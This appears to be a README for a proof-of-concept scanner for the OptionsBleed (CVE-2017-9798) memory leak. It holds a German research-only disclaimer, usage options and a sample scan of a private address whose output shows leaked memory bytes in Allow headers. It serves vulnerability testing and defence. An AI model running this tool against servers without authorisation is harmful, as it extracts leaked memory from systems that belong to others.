brokensound77/optionsbleed-poc-scannerOptionsBleed (CVE-2017-9798) PoC / Scanner
OptionsBleed (CVE-2017-9798) PoC / Scanner
Weitere Informationen folgen in Kürze...
Diese Software wurde ausschließlich für akademische Forschungszwecke und die Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, es sei denn, dies wurde ausdrücklich genehmigt. Die Projektverantwortlichen sind nicht verantwortlich oder haftbar für Missbrauch der Software. Nutzen Sie sie verantwortungsbewusst.
pip install -r requirements.txt
usage: bleeder.py [-h] [-c COUNT] [-f {option,custom}] [-tc THREAD_COUNT] [-nv] [-ni] [-v] [-e] url
positional arguments:
url full URL (including http(s)) to be scanned
optional arguments:
-h, --help show this help message and exit
-c COUNT, --count COUNT
number of times to scan (default: 1000)
-f {option,custom}, --force {option,custom}
forces the scan to attempt using custom verb method
OR OPTIONS (default: try OPTIONS THEN custom)
-tc THREAD_COUNT, --thread-count THREAD_COUNT
max concurrent thread count (default: 500)
-nv, --no-verify does not verify ssl connection (may be necessary for
self-signed certs)
-ni, --no-ignore does NOT ignore ssl warnings (default: ignored)
-v, --verbose prints all headers
-e, --errors prints all errors
python bleeder.py "http://10.1.2.3" -c 50
::OptionsBleed (CVE-2017-9798) Scanner::
[+] scanning http://10.1.2.3 to see if it bleeds!
[+] checking OPTION method
[+] allow headers detected in OPTION response
[+] checking CUSTOM method
[+] allow headers detected in CUSTOM response
[+] scanning with OPTIONS method...
[+] scanning with custom (PULL) method...
[+] 50 responses captured
[+] unique results:
GET,HEAD,allow,HEAD,allow,HEAD,,HEAD,OPTIONS,POST,all,HEAD,
GET,HEAD,allow,HEAD,,HEAD,OPTIONS,POST,all,HEAD,
GET,HEAD,╚jφHU,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,OPTIONS,POST,all,HEAD,,HEAD,,,
GET,HEAD,allow,HEAD,allow,HEAD,,HEAD,OPTIONS,POST,all,HEAD,all,HEAD,
GET,HEAD,allow,HEAD,OPTIONS,POST,all,HEAD,all,HEAD
GET,HEAD,allow,HEAD,╚jφHU,HEAD,,HEAD,,HEAD,OPTIONS,POST,,HEAD,all,HEAD,,HEAD,
GET,HEAD,allow,HEAD,OPTIONS,POST,all,HEAD
GET,HEAD,allow,HEAD,,HEAD,OPTIONS,POST,all,HEAD,all,HEAD,
GET,HEAD,allow,HEAD,allow,HEAD,OPTIONS,POST,all,HEAD
GET,HEAD,allow,HEAD,╚jφHU,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,OPTIONS,POST,all,HEAD,,HEAD,,,
GET,HEAD,╚jφHU,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,OPTIONS,POST,all,HEAD,,HEAD,,,
GET,HEAD,allow,HEAD,allow,HEAD,╚jφHU,HEAD,,HEAD,,HEAD,OPTIONS,POST,,HEAD,all,HEAD,,HEAD,
[+] scan complete!